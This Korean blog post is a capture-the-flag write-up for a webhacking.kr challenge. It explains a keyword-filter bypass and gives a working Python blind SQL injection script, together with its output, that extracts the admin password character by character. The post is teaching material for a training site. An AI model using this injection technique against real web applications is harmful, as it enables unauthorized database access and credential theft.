문제 화면 입니다.
로그인하면 guest로 로그인 됩니다.
blind sql injection임을 직감하고 값을 조작해봤습니다.
일단 addslash 함수가 적용되어 있는 듯 합니다.
id,pw는 손 쓸 방법이 없고 no가 유일한 해결책입니다.
no에선 'or', 'and', 'select', ' ', '+', '-' 문자 등을 사용할 수 없습니다.
이 외의 문자들을 활용해 아래와 같이 입력하자
admin password를 입력하는 창이 나왔습니다.
블라인드 인젝션이 확실함을 알게 되었으니
파이썬으로 자동화 코드를 짜줍시다.
다음은 제가 사용한 익스플로잇 코드입니다.
import requests
host = "https://webhacking.kr/challenge/web-29/"
cookie = {'PHPSESSID':''}
pwLen = 0
while True:
pwLen += 1
print(pwLen,end=',')
query = f"?no=2||length(pw)={pwLen}&id=guset&pw=guset"
re = requests.post(f"{host}{query}",cookies=cookie)
if "admin password" in re.text:
print(f" pw length : {pwLen}")
break
pw=''
for i in range(1,pwLen+1):
for k in range(127,0,-1):
l = chr(k)
print(l,end=',')
query = f"?no=2||length(pw)={pwLen}%26%26conv(hex(substr(pw,{i},1)),16,10)={k}&id=guset&pw=guset"
re = requests.post(f"{host}{query}",cookies=cookie)
if "admin password" in re.text:
print(f" {i}'s pw : {l}")
pw += l
break
print(pw)
length 함수로 길이를 알아낸 다음 한 문자씩 알아가는 방식을 사용했습니다.
addslash 함수 때문에 문자끼리 비교는 어렵습니다.
char -> int 로 바꿔줄 필요가 있습니다.
먼저 hex 함수로 char를 hex로 바꿔줬습니다.
다만 hex 문자로 바뀌기 때문에 이를 int로 바꿔 줄 필요가 있습니다.
conv('바꿀 문자',16,10)를 통해 16진수를 10진수로 바꿔주었습니다.
이제 숫자가 되었으므로 크기 비교가 가능해집니다.
실행 결과는 아래와 같습니다.
1,2,3,4,5,6,7,8,9,10, pw length : 10
,~,},|,{,z,y,x,w,v,u,t,s,r,q,p,o,n,m,l, 1's pw : l
,~,},|,{,z,y,x,w,v,u, 2's pw : u
,~,},|,{,z,y,x,w,v,u,t,s,r,q,p,o,n,m,l,k,j,i,h,g,f,e,d,c, 3's pw : c
,~,},|,{,z,y,x,w,v,u,t,s,r,q,p,o,n,m,l,k, 4's pw : k
,~,},|,{,z,y,x,w,v,u,t,s,r,q,p,o,n,m,l,k,j,i,h,g,f,e,d,c,b,a,`,_, 5's pw : _
,~,},|,{,z,y,x,w,v,u,t,s,r,q,p,o,n,m,l,k,j,i,h,g,f,e,d,c,b,a, 6's pw : a
,~,},|,{,z,y,x,w,v,u,t,s,r,q,p,o,n,m,l,k,j,i,h,g,f,e,d, 7's pw : d
,~,},|,{,z,y,x,w,v,u,t,s,r,q,p,o,n,m, 8's pw : m
,~,},|,{,z,y,x,w,v,u,t,s,r,q,p,o,n,m,l,k,j,i, 9's pw : i
,~,},|,{,z,y,x,w,v,u,t,s,r,q,p,o,n, 10's pw : n
luck_admin
이 값을 admin password에 제출해주면
문제가 풀립니다~
'write-up(web) > webhacking.kr' 카테고리의 다른 글
[Webhacking.kr] Challenge old-60 write-up (0) | 2023.04.05 |
---|---|
[Webhacking.kr] Challenge old-13 write-up (0) | 2023.03.26 |
[Webhacking.kr] Challenge old-48 write-up (0) | 2023.01.18 |
[Webhacking.kr] Challenge old-37 write-up (0) | 2022.12.26 |
[Webhacking.kr] NotSQL write-up (0) | 2022.12.23 |